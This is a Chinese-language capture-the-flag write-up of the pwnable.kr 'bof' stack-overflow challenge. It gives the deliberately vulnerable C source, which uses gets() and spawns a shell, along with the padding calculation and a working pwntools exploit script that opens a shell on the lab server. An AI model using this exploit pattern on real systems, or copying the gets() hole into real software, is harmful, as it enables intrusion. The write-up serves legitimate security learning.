题源
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
题解
Pwnable的第三道题,很简单、很基础、很常见的一道栈溢出题目。源码直接给出:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gets函数是标准的漏洞函数,因为其没有检测数组是否越界,因此当输入的字符串超过overflowme的32chars限定时,其余的字符将会继续向上覆写栈。
下载bof文件,先checksec一下:
基本上开启了各种保护机制。
直接拖到IDA查看func的函数栈:
可以看出,当输入字符串超过32chars后,其余的字符将依次覆盖var_C(即canary)、s(即ebp)、r(即return address)、arg_0(即传入的参数)。则payload应为2C+8=52字符的padding+p32(0xcafebabe)。
from pwn import *
context(arch='i386',os='linux')
io = remote('pwnable.kr',9000)
payload = 14*p32(0xcafebabe) # 这里懒省事,直接全填cafebabe了
io.sendline(payload)
io.interactive()
执行结果:
总结
在第一次做时,没有考虑到canary,使用了32+8=40chars的padding。后来checksec一看有canary,就又加了4chars的padding,但还是不行;最后问了同学,放IDA一看,它的canary后面又跟了8个padding(猜想可能是对齐?)最后用52可以的。
懒省事的做法可以全填p32(0xcafebabe),也不一定非要填14(13*4+4)个,也可以是15、16、17……个(但是失去了严谨了乐趣?)
THNKS TO Be33eD
XD